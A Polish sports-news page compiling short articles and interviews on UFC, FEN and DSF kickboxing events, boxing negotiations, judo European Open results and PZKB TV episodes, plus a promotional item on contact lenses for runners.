3 marca w Las Vegas wyzwanie Brazylijce rzuci Yana Kunitskaya. 28-latka już w debiucie w UFC ma szansę sięgnąć po mistrzowski pas. Rosjanka może pochwalić się tytułem mistrzyni wagi koguciej organizacji Invicta. W ostatniej walce pokonała Raquel Pa'aluhi, a wcześniej przegrała z Tonyą Evinger, którąw UFC pokonała… Justino. Warto dodać, że Kunitskaya ma na rozkładzie trzy Polki: Magdalenę Jarecką, Kamilę Bałandę i Sylwię Kusiak.
Początkowo mająca za sobą występy w organizacji Invicta zawodniczka miała zadebiutować na lutowej gali UFC on Fox 28. Planowano jej walkę z Sarą McMann, jednak ta została zestawiona z Marion Reneau wobec kontuzji Evinger. Fakt, że Kunitskaya w debiucie zmierzy się z Justino powinien cieszyć Rosjankę. Przy okazji przejścia do UFC 28-latka ostrzegała Brazylijkę. Teraz w oktagonie będzie miała okazję zaprezentować swoje umiejętności.
Edgar musi poczekać
Podczas UFC 222 miało dojść do starcia Frankie Edgara z Maxem Holloway’em o mistrzostwo wagi piórkowej, jednak 26-letni Amerykanin doznał kontuzji. To miało być starcie wieczoru, ale nastąpiły zmiany. Głównym daniem będzie pojedynek Justino z Kunitskayą.
Z kolei w co-main evencie zobaczymy Edgara z Brianem Ortegą, który jeszcze nie zaznał goryczy porażki. Z kolei doświadczony Amerykanin wygrał dwie ostatnie walki. Edgar już dwukrotnie pretendował do pasa mistrzowskiego, ale przegrywał z Jose Aldo. Szykował się do trzeciej walki o tytuł, jednak nie przeszkodzie stanęła kontuzja Hollowaya. Jeśli Edgar pokona Ortegę, zapewne dostatnie jeszcze jedną szansę.
KM
Zapraszamy do obejrzenia dwunastego odcinka programu z serii PZKB TV. Po udanych Mistrzostwach Świata WAKO w Kickboxingu Mateusz Kamiński rozmawia z Prezesem PZKb Panem Piotrem Siegoczyńskim.
[kod]
Zapraszamy do obejrzenia trzynastego odcinka programu z serii PZKB TV. Po sukcesie na Mistrzostwach Świata WAKO w Kickboxingu Mateusz kamiński rozmawia z Ewą Pietrzykowską brązową medalistką MŚ WAKO.
[kod]
Zapraszamy do obejrzenia siedemnastego odcinka programu z serii PZKB TV. Naszym gościem był Karol Łada jeszcze nie tak dawno zawodnik K-1 i Oriental Rules a obecnie trener adeptów kickboxingu w Legia Fight Club.
[kod]
Zapraszamy do obejrzenia na żywo czternastego świątecznego odcinka programu z serii PZKB TV. Naszym gościem był Prezes Polski Związek Kickboxingu Piotr Siegoczyński. Rozmawialiśmy podczas transmisji live o przeszłości, teraźniejszości i przyszłości jaka czeka polski kickboxing.
[kod]
Zapraszamy do obejrzenia piętnastego odcinka programu z serii PZKB TV. Po sukcesie na Mistrzostwach Świata WAKO w Kickboxingu Mateusz Kamiński rozmawia z Bartoszem Dołbieniem brązowym medalistą MŚ WAKO.
[kod]
Zapraszamy do obejrzenia szesnastego odcinka programu z serii PZKB TV. Naszym gościem był Mistrz Świata w Kickboxingu w formule Light-Contact, posiadacz pasa federacji DSF Kickboxing Challenge oraz wielokrotny Mistrz Polski Łukasz Wichowski.
[kod]
Zapraszamy do obejrzenia osiemnastego odcinka programu z serii PZKB TV. Naszym gościem była Joanna Różańska zawodniczka kickboxingu Reprezentantka Polski a także wielokrotna Mistrzyni Polski, Zdobywczyni Pucharu Świata oraz trenerka.
[kod]
Zapraszamy do obejrzenia 19 odcinka programu z serii PZKB TV. Naszym gościem był ponownie Karol Łada jeszcze nie tak dawno zawodnik K-1 i Oriental Rules a obecnie trener adeptów kickboxingu w Legia Fight Club.
[kod]
Krzysztof Jotko ponownie zaprezentuje się w oktagonie. 28-letni Polak wystąpi podczas gali UFC on Fox 29, która odbędzie się 14 kwietnia w Glendale w Arizonie. Jego rywalem będzie Brad Tavares.
Dobiega końca absencja Krzysztofa Jotko, która była spowodowana kontuzją prawej ręki. Polski zawodnik wagi średniej doznał jej we wrześniowym starciu z Uriahem Hallem. Początkowo wydawało się, że Jotko zmierza po siódme zwycięstwo w UFC, ale w drugiej rundzie inicjatywę przejął rywal i mocnym ciosem zakończył walkę. Dla polskiego fightera była to druga porażka z rzędu, ale wyjątkowo pechowa. Jotko doznał kontuzji prawej ręki i musiał przejść operację, a potem stopniowo wracał do pełnej sprawności. Teraz Polak jest już gotowy na kolejne wyzwanie. 14 kwietnia w Glendale będzie czekał na niego Brad Tavares.
Z pewnością Polak nie może doczekać się kolejnej walki w UFC. Wczoraj podsycał atmosferę w mediach społecznościowych. – Czekacie na mój powrót? Papiery na najbliższą walkę już podpisane – napisał Jotko. Urodzony w Elblągu zawodnik nie będzie miał łatwego zadania. Stanie naprzeciw Brada Tavaresa, który w UFC rywalizuje już od ośmiu lat. 30-letni Amerykanin wygrał trzy ostatnie walki. Ostatnią porażkę zanotował w maju 2015 roku, kiedy przegrał z obecnym mistrzem wagi średniej Robertem Whittakerem. Co warto dodać, w większości przypadków Tavares wygrywa przez decyzję sędziów. Ostatnie dziewięć zwycięstw odnotował właśnie w taki sposób. Inaczej jest w przypadku porażek Amerykanina. Tavares zapisał cztery przegrane na swoim koncie, w tym trzy przed czasem.
Polscy kibice liczą, że Krzysztof Jotko będzie piątym pogromcą 30-latka. Nasz zawodnik potrzebuje zwycięstwa "jak ryba wody". Jotko znalazł się w trudnym położeniu. Jeszcze rok temu był w komfortowej sytuacji. Po pięciu wygranych z rzędu, jego akcje w wadze średniej stały wysoko. Jednak porażki z Davidem Branchem i wspomnianym Hallem sprawiły, że sytuacja Polaka skomplikowała się. Jotko wrócił do zdrowia, 14 kwietnia stoczy dziesiąty pojedynek w UFC. Pozostaje wierzyć, że 28-latek wróci na zwycięską ścieżkę.
W walce wieczoru gali UFC on Fox 29 zmierzą się zawodnicy wagi lekkiej: Justin Gaethje i Dustin Poirier.
Fot. Krzysztof Jotko Facebook
KM
Polski Związek Kickboxingu oraz Federacja DSF Kickboxing Challenge zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki.
Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.
[kod]
Polski Związek Kickboxingu oraz Federacja DSF Kickboxing Challenge zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki.
Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.
28 kwietnia w Barclays Center miałoby dojść do starcia Macieja Sulęckiego z Danielem Jacobsem. Rozmowy w sprawie walki są zaawansowane – tak twierdzi Dan Rafael z ESPN.
Od kilku miesięcy Daniel Jacobs jest związany kontraktem promotorskim z Eddiem Hearnem. 31-letni Amerykanin ma wystąpić na gali HBO w Barclays Center, którą zaplanowano na 28 kwietnia. Obecnie trwają poszukiwania rywala dla Jacobsa. Wśród potencjalnych przeciwników Amerykanina wymieniano m.in. Irlandczyka Gary'ego O'Sullivana. 33-latek wygrał pięć ostatnich walk, a po raz ostatni przegrał w grudniu 2015 roku z Chrisem Eubankiem Jr. Kolejnym bokserem, który miał stanąć w szranki z Jacobsem był Andy Lee. Irlandczyk sięgnął w grudniu 2014 roku po tytuł mistrza świata WBO w wadze średniej pokonując Matwieja Korobowa. Tytuł stracił rok później na rzecz Billy'ego Joe Saundersa. W ostatnim pojedynku, marzec 2017, Lee pokonał KeAndrae Leatherwooda.
Jednak wedle ostatnich doniesień to nie pięściarze z Irlandii są faworytami do starcia z Jacobsem. Z byłym mistrzem świata WBA w wadze średniej miałby się zmierzyć Maciej Sulęcki. Co prawda popularny "Striczu" od roku rywalizuje w kategorii super półśredniej i kontynuuje zwycięską serię, co sprawiło, że został wyznaczony do finałowego eliminatora do mistrzowskiego tytułu WBC. 17 marca w Nowym Jorku Polak miałby boksować z Vanesem Martirosyanem.
Sytuacja Sulęckiego wydaje się komfortowa. Pięściarz z Warszawy ma w czym wybierać. Z jednej strony może wykonać krok w stronę mistrzowskiego pasa, z drugiej na horyzoncie pojawia się szansa starcia z mocnym bokserem. Wygrana Sulęckiego, którego akcje z każdą walką idą w górę może umocnić go w hierarchii wagi średniej i otworzyć przed Polakiem nowe możliwości.
Co do Daniela Jacobsa, 31-latek to niezwykle mocny pięściarz. Wygrał ponad 130 amatorskich potyczek, a na zawodowym ringu zanotował 33 zwycięstwa. W debiucie, 7 grudnia 2007 roku, potrzebował zaledwie 29 sekund, aby rozprawić się z Jose Jesusem Hurtado. Pas WBA wywalczył w sierpniu 2014 roku. Skutecznie bronił go w czterech starciach, co dało mu przepustkę do rywalizacji z Gennadijem Gołowkinem o panowanie w wadze średniej. Amerykanin toczył wyrównany bój z Kazachem, jednak to rywal po dwunastu rundach cieszył się ze zwycięstwa.
Nie ma wątpliwości, że Jacobs to fantastyczny pięściarz, ale również niezwykły walczak. Amerykanin wygrał najważniejszy pojedynek – o życie. Siedem lat temu pokonał nowotwór tkanki kostnej.
Czy w kwietniu będziemy obserwować starcie mocnego Amerykanina ze wspaniale rozwijającym się Polakiem? Czas pokaże.
KM
Marian Ziółkowski i Mateusz Rębecki powalczą o tytuł mistrza kategorii lekkiej. Kto zostanie czempionem?
[kod]
Świetny weekend za naszymi judokami. Karolina Tałach (63kg) oraz Piotr Kuczera (90kg) okazali się najlepsi w zawodach European Open, odpowiednio w portugalskim Odivelas i bułgarskiej Sofii. Ale to nie jedyne zdobycze biało-czerwonych.
Zacznijmy od pań, jak zwykło się robić. Zatem, do Odivelas udało się osiem Polek: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska (48kg), Karolina Pieńkowska (52kg), Anna Borowska (57kg), Julia Kowalczyk (57kg), Karolina Tałach (63kg), Paula Kulaga (78kg), Anna Załęczna (+78kg). Biało-czerwone z dwoma medalami uplasowały się na piątym miejscu w klasyfikacji końcowej. Najlepsze okazały się Japonki, które zdobyły pięć krążków.
Najwięcej powodów do radości z naszych zawodniczek miała Karolina Tałach. W ubiegłym roku 25-letnia zawodniczka ocierała się o podium, dwukrotnie była piąta. Pierwszy start w 2018 roku i od razu zwycięstwo! Po raz ostatni Polka na najwyższym stopniu podium stała w Zagrzebiu we wrześniu 2016 roku, kiedy to zwyciężyła w zawodach Grand Prix. W Portugalii Polka wygrała cztery pojedynki. Na początek uporała się z Angeles Aguilerą Lopez. Później toczyła zacięty bój z mistrzynią świata juniorek w drużynie Honoką Araki. W półfinale Tałach szybko poradziła sobie z najlepszą zawodniczką Oceanii Kathariną Haecker, a w decydującym boju rozbiła Hiszpankę Cristinę Cabanę Perez.
O krok od zwycięstwa była Karolina Pieńkowska (52kg). Lepsza od młodzieżowej mistrzyni Europy z 2015 roku z Bratysławy okazała się Kanadyjka Ecaterina Guica. Pieńkowska wygrała trzy pojedynki. Niewiele do podium zabrakło Julii Kowalczyk. 20-latka zaczęła od dwóch zwycięstw, a w półfinale zatrzymała ją Hiszpanka Jaione Equisoain. W walce o brąz lepsza od Kowalczyk była Japonka Yuka Watabe, która triumfowała przed czasem. Warto dodać, że wcześniej zawodniczka z Kraju Kwitnącej Wiśni odprawiła Annę Borowską. Siódme miejsce zajęła Anna Załęczna. Nasze pozostałe judoczki stoczyły po jednej walce i pożegnały się z turniejem.
Kuczera najlepszy
Poprzedni rok Polak rozpoczął od zwycięstwa w Rzymie. Teraz okazał się najlepszy w Sofii. Piotr Kuczera wygrał pięć pojedynków, po drodze pokonując m.in. Rafała Kozłowskiego. W finale judoka Kejza Team Rybnik wygrał z reprezentantem Izraela Li Kochmanem.
Łącznie w Sofii wystartowało dziesięciu Polaków. O krok od podium był Damian Szwarnowiecki (81kg). Polak o brąz rywalizował z Belgiem Samim Chouchi, jednak przegrał przed czasem. Siódme miejsce Rafała Kozłowskiego (90kg). Damian Stępień (81kg), Szymon Jasiński (66kg) i Bartłomiej Garbacik (60kg) stoczyli tylko po jednej walce. Zwycięsko zaczęli, ale potem przegrywali – tak było w przypadku Jacka Brysza (66kg), który zaliczył trzy starcia oraz Łukasz Golusa (66kg) i Michała Bartusika (73kg). Dwaj ostatni zapisali na swoim koncie po jednym zwycięstwie i jednej porażce.
KM
Znamy nazwisko rywala, z którym 10 marca podczas gali Fight Exclusive Night 20 "Next Level" zmierzy się Paweł "Trybson" Trybała (3-3, 3KO). Naprzeciwko niego w warszawskiej hali Towar zobaczymy Tymoteusza Świątka (15-4, 7 KO, 6 SUB).
„Trybson” kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.
– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział „Trybson”.
Świątek już czterokrotnie walczył pod szyldem FEN i był ważnym ogniwem federacji, gdy ta dopiero wchodziła na salony w polskim MMA. Popularny "Omen" wygrywał z takimi zawodnikami, jak Pavel Svoboda, Gerard Linder czy Martin Fouda. Kibice mieszanych sztuk walki mogą pamiętać go ze słynnej walki z Voctorem Marinho na FEN 6. Świątek z 15 wygranych pojedynków aż 13 zakończył przed czasem. To właśnie je wgoidowiskowy styl ma pomóc w pokonaniu "Trybsona" przed warszawską publicznością.
– Energetyka w tym starciu będzie ogromna, ale ja się cieszę – kibice tłumnie stawią się w Torwarze, by zobaczyć między innymi ten pojedynek. To nie potrwa pełnego dystansu trzech rund – jestem o tym przekonany – powiedział Paweł Jóźwiak, prezes FEN.
Pojedynek Pawła Trybały z Tymoteuszem Świątkiem odbędzie się w limicie umownym 80 kg.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć na stronie: http://fen-mma.com/bilet/
Tymoteusz Świątek (15-4, 7 KO, 6 SUB) zmierzy się Pawłem "Trybsonem" Trybałą (3-3, 3 KO) podczas gali Fight Exclusive Night 20 'Next Level", która 10 marca odbędzie się w Warszawie. Poplarny "Omen" podkreśla, że największym jego problemem jest… brak cierpliwości. – Gotuję się, chciałbym wyjść z nim do klatki już dzisiaj! – powiedział podczas pierwszego wywiadu udzielonego tuż po ogłoszeniu tego zestawienia.
Długo wiesz o tej walce?
TŚ: Trochę już wiem, pewnie ponad dwa tygodnie. Dostałem telefon i od razu się zgodziłem. Warunki mi odpowiadały, nie było z czym zwlekać. Jestem zawodnikiem, jestem wojownikiem, mogę się bić z każdym. Cieszę się, że 10 marca wyjdę naprzeciwko Trybsona. To dobry zawodnik, widziałem kilka jego walk. Jest dobry, ale… ale ja jestem lepszy. Więc, Paweł, sorry, ale będę musiał cię pokonać.
Trybson będzie chciał cię znokautować.
TŚ: Takie gadanie. A ja chcę znokautować jego i to też będę chciał uczynić 10 marca. Przepraszam – to też uczynię. Wyjdę jak po swoje i wygram – taki jest plan.
Do walki zostało pięć tygodni.
TŚ: I to martwi mnie najbardziej – nie mogę się już tego doczekać. Najchętniej przeniósłbym się w czasie do pierwszego gongu i już chciałbym być w klatce. Niestety – do tego muszę jeszcze chwilę poczekać. Mam nadzieję, że to szybko zleci.
Ostatnio znowu było o tobie bardzo głośno.
TŚ: Wiem, ale nie chcę już do tego wracać. Dużo rzeczy za mną, nie wszystko było dobre, kilka razy się pogubiłem, ale każdy popełnia błędy. Zmądrzałem, wydoroślałem, inaczej patrzę na życie. Sport to cały mój świat, nie mogę tego zaprzepaścić. Trochę już się w to bawię, wiem jak smakuje sukces, wiem również co to porażka. Czasami trzeba wpaść w dołek, żeby pewne rzeczy sobie poukładać. Ja już mam ten okres za sobą. Od gali w Warszawie wskoczą na nowy, jeszcze wyższy poziom, nie tylko jako zawodnik, ale też jako człowiek. Zwycięstwo z Trybsonem wprowadzi mnie na właściwy szlak po marzenia, które mam i o które zamierzam walczyć. Wiem, co o mnie napisano, czytałem to, było mi przykro, ale dużo było w tym kłamstw i oszczerstw. Omen wróci do klatki, bo zrobił sobie rachunek sumienia i teraz musi swoją wartość pokazać w oktagonie. Bądźcie ze mną na Torwarze.
Jak spędzisz najbliższe pięć tygodni?
TŚ: Będę zasuwał każdego dnia. Muszę zgubić trochę brzucha, wyrzeźbić się, kaloryfer i te sprawy. A tak poważnie, to wychodzę na trening i walczę o swoje marzenia. To jest dla mnie motywacja, by każdego dnia wstawać rano i się nie poddawać. Zwycięstwo z Trybsonem będzie dla mnie ważne. Coś udowodnię sobie, ale i wszystkim moim hejterom. Paweł, szanuję cię jako zawodnika, ale będziesz musiał ze mną przegrać. Omen wraca w wielkim stylu od zwycięstwa na FEN 20.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Gala DSF Kickboxing Challenge 13 we Wrocławiu niosła ze sobą ogromne sportowe emocje. W walce wieczoru Maksymilian Bratkowicz pokonał Mateusza Kubiszyna. Michał Turyński ponownie lepszy od Dzevada Poturaka, a w meczu międzypaństwowym Polacy przegrali z Czechami.
Niezwykle gorąca atmosfera towarzyszyła pojedynkowi Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas kategorii 86kg. Główni aktorzy gali DSF Kickboxing Challenge 13 we Wrocławiu skutecznie budowali napięcie przed walką. Dodatkową motywacją dla Bratkowicza była chęć rewanżu za porażkę, której doznał podczas DSF "Najlepsi z Najlepszych" w grudniu 2016 roku. W Warszawie na punkty wygrał Kubiszyn. Na przestrzeni ostatnich miesięcy Bratkowicz spisywał się znakomicie i w Budapeszcie zdobył mistrzostwo świata. Teraz chciał być bykiem, który pokona torreadora. Kubiszyn spokojnie podchodził do tych deklaracji i zapowiadał, że to on zasiądzie na tronie. Obaj zawodnicy zapewniali, że w ich walce poleje się krew. Tym razem panowie również spędzili w ringu pełen dystans. Pełna determinacji walka zakończyła się sukcesem Bratkowicza, który w organizacji DSF pokazał ogromne możliwości. Notował porażki, ale niezłomna postawa i ciężka praca doprowadziły go na szczyt. Tym razem Mateusz Kubiszyn musiał przełknąć gorycz porażki.
Michał Turyński ponownie lepszy od Dzevada Poturaka. Wygrał w Sarajewie, triumfował we Wrocławiu i nadal pozostaje w posiadaniu pasa mistrzowskiego WAKO pro w formule low kick w kategorii 94kg. Na przestrzeni pięciu rund doświadczony Bośniak nie potrafił zagrozić Turyńskiemu. Mistrz nie pozostawił sędziom żadnych wątpliwości, co do tego, kto jest lepszym zawodnikiem.
Widowisko godne uwagi – z pewnością tak kibice zapamiętają starcie o pas mistrza świata WAKO Pro w K-1 w kategorii do 64,5kg. Eliasz Jankowski i Yuriy Zhukovsky nie oszczędzali się. Zawodnicy toczyli zacięty bój, jednak ostatni głos należał do sędziów, którzy nie byli jednomyślni. Ze zwycięstwa cieszył się Białorusin.
Nie było wejścia smoka w wykonaniu Pawła Biszczaka do organizacji DSF. Abdallah Mabel wysoko zawiesił poprzeczkę 32-letniemu Polakowi, który do niedawna z powodzeniem rywalizował na galach organizacji FEN. We Wrocławiu Biszczak musiał trzymać na baczności, bo Mabel to wszechstronny zawodnik. Dopiero dogrywka pozwoliła wyłonić zwycięzcę. Triumfował Mabel.
Dawid Zółtaszek po raz pierwszy miał okazję rywalizować w Polsce. Z powodzeniem. Sędziowie nie mieli wątpliwości, kto rozdawał karty w starciu kategorii wagowej +91kg. Łukasz Lipniacki został wypunktowany przez Żółtaszka.
Czesi fantastycznie rozpoczęli mecz międzypaństwowy z Polską. Trzy pojedynki i wszystkie wygrane. Paweł Józefowicz postawił się Denisowi Farkasowi, ale przegrał niejednogłośną decyzją sędziów. Huraganowe ataki Adama Audy szybko przyniosły efekt. Marcin Bachórz przegrał już w pierwszej rundzie. Dzieła dopełnił Anatoli Hunanyan, który w drugiej odsłonie znokautował Dominika Zadorę. Udany debiut w DSF zaliczyła Róża Gumienna, choć nie miała łatwego zadania. Lucie Mlejnkova okazała się twardą i nieustępliwą rywalką. Gumienna wygrała jednak 2:1 po morderczej batalii. W ostatnim pojedynku polsko-czeskiego meczu Adam Gielata pokonał Tadeasa Ruzickę.
W hali Orbita zwycięstwa świętowali również Tomasz Brotoń, po wyrównanej walce z Mateuszem Brusiło, oraz Dominik Tomcia, który jednogłośną decyzją sędziów pokonał Krystiana Bernatowicza.
Kolejna gala DSF Kickboxing Challenge odbędzie się 13 kwietnia na warszawskim Torwarze.
Fot. DSF Kickboxing Challenge Facebook
KM
Wada wzroku nie musi przeszkadzać w wykonywaniu ulubionych aktywności fizycznych na co dzień. Najlepsze szkła kontaktowe dla biegaczy to takie, które wykonane są z lekkich i miękkich hydrożelowych materiałów. Soczewki nie parują i zapewniają szerokie pole ostrego widzenia a ryzyko, że wypadną z oka jest minimalne. Dla osób aktywnych fizyczne zalecane są szkła kontaktowe jednodniowe.
Soczewki kontaktowe powinny być dobierane indywidualnie do wady wzroku, tylko i wyłącznie w profesjonalnym gabinecie okulistycznym. Poszczególne schorzenia oczu wymagają odmiennej korekcji, czasem innej na każde oko, dlatego dobór soczewek powinien być uzgodniony z okulistą. O rodzajach szkieł kontaktowych przeznaczonych do korekcji konkretnej wady wzroku można przeczytać na stronie internetowej: mojepierwszesoczewki.pl. Za pośrednictwem portalu można również umówić się na wizytę u okulisty rozszerzoną o dobór soczewek.
Miękkie soczewki kontaktowe korygują większość wad wzroku. Wykonane są z delikatnych hydrożelowych lub silikonowo-hydrożelowych materiałów o dużej przepuszczalności tlenu, dlatego idealnie sprawdzają się dla osób uprawiających sport, w tym także biegaczy. Dobrze dobrane soczewki kontaktowe są nieodczuwalne w oku i pozwalają komfortowo ćwiczyć ulubioną dziedzinę sportową. Dla osób prowadzących aktywny tryb życia polecane są soczewki jednodniowe, które nie wymagają codziennej pielęgnacji i są bardzo wygodne w użytkowaniu.
Soczewki kontaktowe, w przeciwieństwie do tradycyjnych okularów korekcyjnych, nie parują przy zmianie temperatury. Nie ograniczają one również widzenia w wyniku niekorzystnych warunków atmosferycznych, takich jak: śnieg czy deszcz. Soczewki kontaktowe zapewniają również szerokie pole widzenia a obraz, jaki się widzi nie ulega zniekształceniu. Noszenie szkieł kontaktowych nie przeszkadza w zakładaniu na głowę kasku czy gogli ochronnych, a ryzyko ich zgubienia jest minimalne. Soczewki to idealne rozwiązanie dla osób, o dużych różnicach w natężeniu wad wzroku w prawym i lewym oku. W czasie noszenia szkieł kontaktowych nie występują efekty pryzmatyczne, ponieważ soczewka dopasowuje się do kształtu oka i swobodnie przemieszcza się razem z ruchami gałki ocznej.
Wymiana to nieodłączny element MMA, boksu czy kickboxingu. Jednak nie chodzi wyłącznie o ciosy, ale także o słowa. W ostatnich dniach mistrz UFC wagi półciężkiej zakpił z Jana Błachowicza. Polak nie pozostał dłużny i odpowiedział.
Bitwa na słowa
Do klasyki polskiego kina przejdzie powiedzenie głównego bohatera filmu "Kiler" – "Twardym trzeba być, a nie miętkim". I tak właśnie jest w sportach walki. Chwila nieuwagi, może mieć poważne konsekwencje. Ale nie tylko w oktagonie. Zawodnicy MMA udzielają wywiadów, sprawnie funkcjonują w mediach społecznościowych i starają się wykorzystywać te kanały. Dla wielu są to narzędzia, które pozwalają poprawić swoje położenie w hierarchii atrakcyjności. A wymiana słowna z rywalem sprawia, że wartość marketingowa starcia rośnie. Kibice żyją tym, co dzieje się wokół kolejnych gal i walk.
Bohaterem ostatnich dni stał się Jan Błachowicz. Jego nazwisko przywołał mistrz wagi półciężkiej Daniel Cormier. Blisko 39-letni Amerykanin podczas lipcowej gali UFC 226 zmierzy się ze Stipe Miocicem. Pojedynek zapowiada się niezwykle ciekawie, ale z pewnością inni fighterzy wagi półciężkiej chcieliby zaatakować pas. O rewanżu z Cormierem marzy Alexander Gustafsson. Przypomnijmy, Szwed w październiku 2015 roku spędził w oktagonie z Amerykaninem pięć rund i przegrał niejednogłośną decyzją. Gustafsson musi odłożyć swoje marzenia na później. W jednym z programów Cormier w prześmiewczy sposób wypowiedział się o ostatnich walkach Szweda. Oberwał również Jan Błachowicz, który przegrał ze Skandynawem. Mistrz wagi półciężkiej drwił z faktu, że Gustafsson "musiał pójść w zapasy" z Błachowiczem.
Warto dodać, że Cormier wywodzi się z zapasów. Zajął czwarte miejsce na Igrzyskach Olimpijskich w Atenach, pięciokrotnie zdobywał mistrzostwo USA. W związku z wypowiedzią Cormiera do tablicy poczuł wywołany się Jan Błachowicz. Polak odpowiedział Amerykaninowi w mediach społecznościowych. – Dziękuję za twój "szacunek". Prawdą jest, że kiedy będę walczył z tobą, będziesz szukał obaleń… na kolanach już od szatni – napisał zawodnik pochodzący z Cieszyna. Ciekawe, czy ta wymiana będzie kontynuowana? A może za kilka miesięcy pojawi się temat walki Polaka i Amerykanina?
Bieżące plany
Zarówno Cormier, jak i Błachowicz mają zaplanowane najbliższe pojedynki. Amerykanin w starciu mistrzowskim zmierzy się ze Stipe Miocicem. Walka odbędzie się 7 lipca podczas gali UFC 226 w Las Vegas.
Z kolei Jan Błachowicz, który cztery lata temu podpisał umowę z najlepszą organizacją MMA na świecie, szykuje się do rewanżu z Jimim Manuwą. Polak uległ Anglikowi podczas gali UFC Fight Night 64 w Krakowie. 17 marca w Londynie Błachowicz będzie chciał odnieść trzecie zwycięstwo z rzędu. Jeśli mu się uda, jego akcje pójdą w górę i awansuje do grona najlepszych w kategorii półciężkiej.
KM
Marian Ziółkowski (17-5, 3 KO, 12 SUB) zmierzy się z Mateuszem Rębeckim (5-1, 4 SUB) podczas gali FEN 20 "Next Level". Stawką w tym starciu będzie pas mistrzowski federacji w kategorii lekkiej. Co słychać u popularnego "Golden Boy'a"? W jakiej jest formie sześć tygodni przed walką? Zapraszamy do przeczytania rozmowy!
Tryskasz humorem, u ciebie chyba w porządku, prawda?
Marian Ziółkowski: Tak, zdecydowanie. Wszystko idzie zgodnie z planem, nie mam prawa na co narzekać. Przygotowania idą jak po sznurku, wróciłem z Brazylii i czekam na kolejne jednostki treningowe oraz sparingi. Zdrówko dopisuje, to najważniejsze, stopniowo jestem coraz lepszy, a to dopiero początek. Zostało sześć tygodni do walki i już nie mogę się doczekać.
Czujesz ekscytację?
MZ: Na pewno, To jak do tej pory mój najważniejszy pojedynek w karierze. Stoczę walkę w Warszawie, czyli swoim mieście, będę mógł na własnej ziemi zdobyć pas mistrzowski federacji, która sporo znaczy w mieszanych sztukach walki. Cieszę się, że moje starania zostały wynagrodzone i będę mógł pokazać się z jak najlepszej strony.
Dużo osób zastanawia się, jak ten pojedynek będzie wyglądał. Mateusz Rębecki jest od ciebie duży niższy, będziesz miał ogromną przewagę, jeżeli chodzi o zasięg.
MZ: To prawda, trudno bedzie Mateuszowi znaleźć sparingpartnera o podobnych gabarytach. To będzie mój atut, grzechem byłoby nie chcieć z tej przewagi skorzystać.
A może to będzie twoja bolączka? Rębecki będzie doskonale wiedział, na co musi zwrócić uwagę.
MZ: Niech Mateusz układa to sobie w głowie tak, jak chce – to jego sprawa. Mniejsi zawodnicy mają to do siebie, że są szybsi, w ten sposób będą chcieli ewentualne braki maskować. Do tego dochodzi walka w półdystansie, siła – to wszystko ma znaczenie.
Nad siłą pracujesz?
MZ: Tak, pracuję, muszę być gotowy na wszystkie ewentualności. Dziwnie to brzmi, ale ja po raz pierwszy w życiu wziąłem kreatynę. Trenuje, również siłowo, jestem coraz starszym zawodnikiem i muszę robić wszystko, żeby być coraz bardziej uniwersalnym fighterem.
Nad szybkością też musisz pracować.
MZ: Jestem szybki, zawsze byłem. Nawet, gdy walczyłem z Romanem Szymańskim, to on nie mógł mnie trafić w stójce – może z raz otrzymałem od niego cios. Mateusz może być ode mnie bardziej dynamiczny, ale szybszy ode mnie nie będzie.
Ile ty ważysz dzisiaj?
MZ: Około 77 kilogramów, czasami nawet 75 – nie mam dużo do zbijania. Bez żadnego problemu zmieszczę się w limicie – nigdy nie miałem z tym problemu.
Matusz na co dzień waży więcej.
MZ: Wiem, zdaję sobie z tego sprawę. Nie zajmuję się nim – skupiam się na sobie. Niech waży ile chce – to ja wygram 10 marca i zdobędę pas mistrzowski.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Robi się bardzo gorąco przed sobotnią galą DSF Kickboxing Challenge 13! Za sprawą tej imprezy Hala Orbita we Wrocławiu stanie się areną zmagań najlepszych fighterów w Europie. W walce wieczoru Maksymilian Bratkowicz zmierzy się po raz drugi z Mateuszem Kubiszynem. Zwycięzca pojedynku pomiędzy dwoma mistrzami świata zostanie pierwszym w historii federacji czempionem wagi średniej (-86 kg).
To klasyczne starcie byka z matadorem. Bykiem jest w tym zestawieniu piekielnie silny i uparty Bratkowicz. Matadorem – sprytny i wszechstronny Kubiszyn. Brutalność K-1 spotka się z finezją Full Contactu. Szanse rozkładają się 50-50. Obaj zawodnicy biją i kopią szalenie mocno, o czym w 2017 roku przekonało się wielu rywali.
Zobacz zapowiedź walki Bratkowicz-Kubiszyn II >>>
